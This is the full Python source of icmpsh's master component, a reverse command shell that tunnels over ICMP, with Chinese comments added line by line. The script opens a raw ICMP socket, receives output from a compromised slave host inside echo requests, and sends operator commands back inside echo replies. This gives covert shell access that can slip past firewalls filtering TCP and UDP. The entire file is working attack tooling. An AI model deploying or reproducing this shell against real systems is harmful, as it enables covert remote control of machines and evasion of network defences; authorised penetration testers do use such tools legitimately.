|
|
#!/usr/bin/env python
|
|
|
#
|
|
|
# icmpsh - simple icmp command shell (port of icmpsh-m.pl written in
|
|
|
# Perl by Nico Leidecker <nico@leidecker.info>)
|
|
|
#
|
|
|
# Copyright (c) 2010, Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
|
|
#
|
|
|
# This program is free software: you can redistribute it and/or modify
|
|
|
# it under the terms of the GNU General Public License as published by
|
|
|
# the Free Software Foundation, either version 3 of the License, or
|
|
|
# (at your option) any later version.
|
|
|
#
|
|
|
# This program is distributed in the hope that it will be useful,
|
|
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
|
# GNU General Public License for more details.
|
|
|
#
|
|
|
# You should have received a copy of the GNU General Public License
|
|
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
|
|
|
|
import os
|
|
|
import select
|
|
|
import socket
|
|
|
import sys
|
|
|
|
|
|
def setNonBlocking(fd):
|
|
|
"""
|
|
|
Make a file descriptor non-blocking
|
|
|
"""
|
|
|
import fcntl # 导入用于文件控制选项的库
|
|
|
|
|
|
flags = fcntl.fcntl(fd, fcntl.F_GETFL) # 获取当前文件描述符的状态标志
|
|
|
flags = flags | os.O_NONBLOCK # 将非阻塞标志添加到当前标志
|
|
|
fcntl.fcntl(fd, fcntl.F_SETFL, flags) # 设置文件描述符为非阻塞模式
|
|
|
|
|
|
def main(src, dst):
|
|
|
"""主程序函数,用于设置 ICMP socket 和处理命令。"""
|
|
|
if sys.platform == "nt":
|
|
|
sys.stderr.write('icmpsh master can only run on Posix systems\n') # 检查是否在 Windows 上运行
|
|
|
sys.exit(255)
|
|
|
|
|
|
try:
|
|
|
from impacket import ImpactDecoder # 导入 Impacket 库用于解析数据包
|
|
|
from impacket import ImpactPacket # 导入 Impacket 用于构建数据包
|
|
|
except ImportError:
|
|
|
sys.stderr.write('You need to install Python Impacket library first\n') # 检查是否安装 Impacket
|
|
|
sys.exit(255)
|
|
|
|
|
|
# 将标准输入设置为非阻塞
|
|
|
stdin_fd = sys.stdin.fileno() # 获取标准输入的文件描述符
|
|
|
setNonBlocking(stdin_fd)
|
|
|
|
|
|
# 为 ICMP 协议打开一个 socket
|
|
|
try:
|
|
|
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) # 创建原始 ICMP socket
|
|
|
except socket.error:
|
|
|
sys.stderr.write('You need to run icmpsh master with administrator privileges\n') # 检查运行权限
|
|
|
sys.exit(1)
|
|
|
|
|
|
sock.setblocking(0) # 设置 socket 为非阻塞模式
|
|
|
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # 启用 IP 头包含在发送包中
|
|
|
|
|
|
# 创建一个新的 IP 包,设置源和目的地址
|
|
|
ip = ImpactPacket.IP()
|
|
|
ip.set_ip_src(src) # 设置源 IP
|
|
|
ip.set_ip_dst(dst) # 设置目标 IP
|
|
|
|
|
|
# 创建一个新的 ICMP 包,类型为回显应答(ECHO REPLY)
|
|
|
icmp = ImpactPacket.ICMP()
|
|
|
icmp.set_icmp_type(icmp.ICMP_ECHOREPLY)
|
|
|
|
|
|
# 实例化 IP 数据包解码器
|
|
|
decoder = ImpactDecoder.IPDecoder()
|
|
|
|
|
|
# 在无限循环中发送和接收命令
|
|
|
while True:
|
|
|
try:
|
|
|
cmd = ''
|
|
|
|
|
|
# 等待输入的回复
|
|
|
if sock in select.select([sock], [], [])[0]: # 监控 socket 是否可读
|
|
|
buff = sock.recv(4096) # 接收最大 4096 字节的数据
|
|
|
|
|
|
if 0 == len(buff):
|
|
|
# 如果接收到的数据长度为 0,说明对方关闭了 socket
|
|
|
sock.close()
|
|
|
sys.exit(0)
|
|
|
|
|
|
# 解析接收到的数据包
|
|
|
ippacket = decoder.decode(buff) # 解码 IP 包
|
|
|
icmppacket = ippacket.child() # 获取 ICMP 包
|
|
|
|
|
|
# 检查 ICMP 数据包的源和目的地址以及类型
|
|
|
if ippacket.get_ip_dst() == src and ippacket.get_ip_src() == dst and 8 == icmppacket.get_icmp_type():
|
|
|
# 获取标识符和序列号
|
|
|
ident = icmppacket.get_icmp_id()
|
|
|
seq_id = icmppacket.get_icmp_seq()
|
|
|
data = icmppacket.get_data_as_string() # 获取数据
|
|
|
|
|
|
if len(data) > 0:
|
|
|
sys.stdout.write(data) # 输出接收到的数据
|
|
|
|
|
|
# 从标准输入读取命令
|
|
|
try:
|
|
|
cmd = sys.stdin.readline() # 读取用户输入的命令
|
|
|
except:
|
|
|
pass
|
|
|
|
|
|
if cmd == 'exit\n': # 如果输入为 'exit',退出循环
|
|
|
return
|
|
|
|
|
|
# 设置序列号和标识符,以便回复
|
|
|
icmp.set_icmp_id(ident)
|
|
|
icmp.set_icmp_seq(seq_id)
|
|
|
|
|
|
# 将命令作为数据包含在 ICMP 包中
|
|
|
icmp.contains(ImpactPacket.Data(cmd))
|
|
|
|
|
|
# 计算 ICMP 包的校验和
|
|
|
icmp.set_icmp_cksum(0)
|
|
|
icmp.auto_checksum = 1 # 自动计算校验和
|
|
|
|
|
|
# 将 ICMP 包插入到 IP 包中
|
|
|
ip.contains(icmp)
|
|
|
|
|
|
try:
|
|
|
# 发送数据包到目标主机
|
|
|
sock.sendto(ip.get_packet(), (dst, 0))
|
|
|
except socket.error as ex:
|
|
|
sys.stderr.write("'%s'\n" % ex) # 输出错误信息
|
|
|
sys.stderr.flush()
|
|
|
except:
|
|
|
break
|
|
|
|
|
|
if __name__ == '__main__':
|
|
|
# 检查参数,确保提供了源 IP 和目标 IP
|
|
|
if len(sys.argv) < 3:
|
|
|
msg = 'missing mandatory options. Execute as root:\n'
|
|
|
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
|
|
|
sys.stderr.write(msg)
|
|
|
sys.exit(1)
|
|
|
|
|
|
main(sys.argv[1], sys.argv[2]) # 调用主函数,传入源和目标 IP |